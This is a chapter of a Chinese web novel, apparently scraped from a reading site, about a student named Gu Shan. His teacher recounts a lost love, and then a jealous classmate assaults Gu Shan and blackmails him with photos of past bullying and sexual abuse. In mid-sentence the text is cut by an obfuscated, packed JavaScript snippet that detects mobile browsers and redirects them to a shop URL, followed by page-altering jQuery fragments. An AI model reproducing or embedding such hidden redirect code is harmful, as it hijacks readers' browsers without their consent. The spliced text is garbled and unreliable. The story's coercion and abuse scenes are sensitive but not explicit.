15. 15恋爱物语

作品:《山终不语

    大学四年间,付老师走遍了校园的每一个角落,想象着友人A曾在这里学习和生活的样子,顺便安慰自己他们也算是呼吸过了同一片空气。


    另一方面,付老师还全力去搜集与友人A有关的人和事,通过各种渠道得知她的近况,以此来维系他们之间那薄弱到不能再薄弱的关联。


    这其中唯一不变的,是付老师不断向前的脚步。他始终坚信,只要他走得足够快,总有一天他会追上友人A。


    到那时,哪怕相隔千里万里,友人A依旧是他的同路人和启明星。


    以上几乎就是付老师的全部青春,是他的年少欢喜。在别人看来可能是执拗和无望的执着,可于他自己却是成长和蜕变,不为等待,只为奔赴。


    ——为了你,成为更好的自己,哪怕最后要再去忘了你。


    因为直到如今,付老师已经断了跟她的所有联系,有好几年了吧。


    听完故事的顾山深深惋惜,问:“为什么?”


    “因为。”


    付老师说这话的时候,他们刚好走到了顾山曾和颜不语拥抱过的地方,接着他们就停下了。付老师说:“在那些无法见面的日子里,她早已脱胎换骨,有了全新的面貌和姿态,也认识了跟她一样优秀的人。他们在一起才能配得上旁人的一切惊艳和赞叹。还有就是,她去年结婚生子了。”


    多么遗憾的话语啊!


    那场隐秘又痛苦的暗恋,那些一腔孤勇走过的岁月,在说出喜欢的人有了她自己的归属后,全部都没了意义。


    顾山眼尾微红,不知道该说些什么好,而后在凝神盯向那个拥抱的地方后,问:“为什么青春中的喜欢到最后会分开?”


    “可能是由于年少时的喜欢大多不会长久吧。”付老师作为过来人,谈及成长带给人的变化,滔滔不绝又有理有据,最后说,“所以随着人的成长,人最终会爱上更适合自己的那个人。”


    “可书上说了,人终究难以忘怀人生中的第一份悸动和喜欢。”顾山有他的想法,并习惯用书中的话语来当做他的信条,正符合着他不经世事的人生。


    因此,他才会在听到颜不语成绩的那晚,鼓起勇气去找了躲在角落里哭泣的颜不语,即使他答应过汤遇乐,要和颜不语断了来往,但他还是那样做了,不计后果。


    付老师叹气,接连吧了吧嘴好几下,过了良久才说了:“我无法阻止你去喜欢任何人。我只是希望从我的经历中,你可以知道什么样的恋爱才是好的一段感情。顾山,喜欢一个人,不能只是口头上说喜欢,更不是冲动地喜欢,而是你要配得上她的喜欢。”


    “古人讲究门当户对,这句话放在现在,也不过时。”


    “嗯,我一直在努力啊。”顾山算是默认了他的喜欢,但他不能说出颜不语的名字,“老师,你能帮我保守秘密吗?”


    付老师和蔼地笑了笑,手拍了拍人的肩膀,说:“你什么都没说,我什么都不知道。只要你的思想和行为正确,我没有什么要责怪你的意思。顾山,我看好你,一直看好你。”


    “谢谢老师。”


    “但下次不能再那样做了,对你们各自造成的影响不好。走吧,回去吧。”


    “嗯,我会注意的。”顾山跟在后头,心中松下一口气,幸好付老师并没有其他的意思,相反还能够理解他。


    如此,顾山已是万分感激,以至于他最后都忘了问付老师是怎样知道的。


    直到当晚汤遇乐也找上门来,顾山那时才终于明白,原是有人打了小报告。


    “顾山,你是想找死是吗?”


    路上才刚打了个照面,汤遇乐的拳头就以雷霆万钧的气势落到了顾山的半边脸上。前者说:“你答应过我什么?你忘了?我看你是不被打不长记性。”


    幸好当时顾山已经从小卖部出来,走在一条人流稀少的回教室路上,否则仅是刚才那一下,先不说他有多狼狈,不出意外地肯定会被同学见到。


    而顾山可不想被人看到。他打了个趔趄,但没摔倒,然后看向不知从哪里冒出来的汤遇乐,说:“你有病吧。我不知道你在说什么?”说完,顾山就想离开。


    但是汤遇乐却一把揪住他的衣领,把他往一个漆黑的角落里带,“你不给我说清楚的话,哪里都不能去!那晚,你是不是抱了她?就在操场上,我看见了。你找死?”


    “不是我。你看错了。什么操场?”顾山打死都不会承认,“你自己喜欢的人,难道看不准?”


    “这是不敢承认了?”汤遇乐的脸靠的很近,唾沫星子喷了人一脸,“我不可能认错语语。而那个人肯定是你。除了你,我想不到其他人。再说了,语语的成绩,我就是故意让你听到的。”


    居然试探。顾山如人所料地掉入到了陷阱里,谁让颜不语的消息格外地牵人心弦。只是他却不能承认:“我说了我没有。她的成绩与我无关。我关心自己的成绩还来不及呢。你们学霸的事,我管不着。”


    “狡辩!你再狡辩!”


    “放手。不要疑神疑鬼行不行?”顾山佯装出冷静,越是要自证清白的时刻,越要表现出坦然,“我要回去学习了。如若你不相信我的话,你自己去问问她不就好了?”


    “问?问谁?”汤遇乐的火气噌的一下上来了,仿佛受到了什么刺激一样,“你是在幸灾乐祸吗?明知道颜不语目前还不想理我,还让我去问,你是想让她更加讨厌我?”


    “随便你。”


    顾山用力掰开胸口前的手,随后呼吸了一大口空气,脑中想的是原来他们并未复合,如今的汤遇乐连去找颜不语的勇气都没了。


    “讨厌你和喜欢你,都是她的事。”顾山的头低着,不想让人看到他的眼睛,也是他自己不想看汤遇乐,以防露怯,“你还想让我怎样?”


    “慢!”汤遇乐吼出一句,连旁边的教学楼都似乎震了震,“我让你走了吗?好,很好,现在我也不追究那个人是谁了。既然要这样的话,顾山,我对你来了兴趣。我倒要看看你的这张嘴啊,到底有多硬。”


    不好,很不好,顾山一瞬间意识到不妙,事情的发展已经朝疯了的方向进行下去了,他想跑,想立马离开这个未知恐怖的地方。


    却不料,汤遇乐一脚踹在了他的屁股上,和让他这回重重摔在了地上。


    “啊。”尽管冬天的衣服穿的不少,但顾山的手臂肘关节还是产生痛意,“你要干嘛?这可是学校。我要喊人了。”


    “你可以试试。”汤遇乐站在那里,身后由于树叶的遮挡,让白色灯光显得有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003017|193947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些诡异,而他则是一脸阴险地笑着,“只要你喊一句,你那些恶心的照片啊,明天就会出现在学校的公告栏里。顾山,你想试试吗?”


    “你!”顾山慢慢站起来,目光害怕中只有一丝的决绝,且只有一丝,因为他知道汤遇乐绝对会做出那样的事来,“你到底想干嘛?为何就不愿放过我?你说的,我都做了。”


    “但你做的不够好。”汤遇乐冷哼一声,“我想做的事,你等会就知道了。”一边说着,他拿出兜里的手机,像是在给某人发信息。


    顾山立马猜到了什么,问:“你叫了袁大头?不。”


    “你若是现在走,我也会把照片公之于众。你可以试试看。”


    “你个疯子!”被人拆穿行为目的的顾山愣在当场,想走却不敢走,“算我求你了还不行?”


    “已经晚了。没骨气的家伙。”


    取笑地说完话,汤遇乐开始看被他随身携带的照片,“你要不要一起来看看?那些回不去的岁月,可是一直都在。”


    “比如——”


    “第一张,厕所,一个装满红色颜料的气球从天而降,直直砸向了地面,顿时红色的颜料四散开来,即使人已经缩到了角落,但校服裤子还是沾满了颜料。然后在一阵窸窸窣窣压低声音的笑声中,人从隔间走了出来,接着便是看到书包又和拖把泡在了一起,暗黑的水发着让人作呕的味道,不知道袁大头他们在那水里加了什么恶心的东西。”


    听着顾山形容照片的细节,那些话仿佛就像一根根生锈的钉子扎进了顾山的心里,而后因为生锈,由心开始到全身体都逐渐发炎,此外顾山的力气也渐渐被剥夺,他像是要死掉了。


    然而汤遇乐却不管这么多,接着说:“啧啧,这第二张啊,更是劲爆。没穿衣服的身体,坐在袁大头的腿上,他的那双手啊,你还记得放在你身体的哪个部位吗?他的口水味道,你又还记得吗?顾山,喜欢一个男孩子是一个什么样的感觉?”


    “别说了!我不想听!”顾山的胃里一阵翻涌,几乎要吐出来。


    什么喜欢不喜欢?他喜欢的从来就不是男生!而之所以会有那样的照片,从来就不是他的本意,他只不过是校园中被欺负的那个。


    “呵呵,晚了。我就是想知道为什么。难道说,你男女通吃?”汤遇乐像玩转扑克牌一样地随意翻转照片,看不起地笑,“众生万象,人性难测。其实吧,承认自己男同,又没什么。在男孩子面前,你能够做真实的自己,轻松,细腻,无需讨好,这就是你的本性。顾山,你觉得呢?”


    “不是。”


    “就是!”汤遇乐的话带着引诱人走进万丈深渊的诱惑力,“你就是不敢承认罢了。男人为什么会喜欢上男人?跟很多人想的不同,或许袁大头对你的第一个吻,就让你心动不已。你忘了吗?所以你没有拒绝他的那些爱你的行为。”


    顾山觉得可笑地笑了笑:“哈哈,我恨他还来不及呢。照片,都是他逼的。”


    汤遇乐不信地摇摇头:“可喜欢你,是他的选择。同时,你默许了这一种选择。”


    “而且,喜欢一个人有错吗?”


    匆匆赶来的袁大头可能是听到了对话,不仅从背后一个熊抱抱住了顾山,更是发出了灵魂般地问题。